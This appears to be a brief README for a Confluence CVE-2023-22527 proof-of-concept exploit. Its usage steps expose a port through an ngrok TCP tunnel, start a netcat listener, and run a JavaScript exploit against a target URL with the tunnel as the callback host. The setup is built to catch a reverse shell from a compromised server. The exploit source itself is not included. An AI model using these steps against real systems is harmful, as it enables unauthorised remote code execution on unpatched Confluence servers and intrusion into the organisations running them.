CVE-2023-22527-confluence [Confluence] CVE-2023-22527 realworld poc Usage Download bun https://github.com/oven-sh/bun/releases Start ngrok ngrok tcp 4444 Listen localhost 4444 nc -nvlp 4444 Run exploit bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/ Result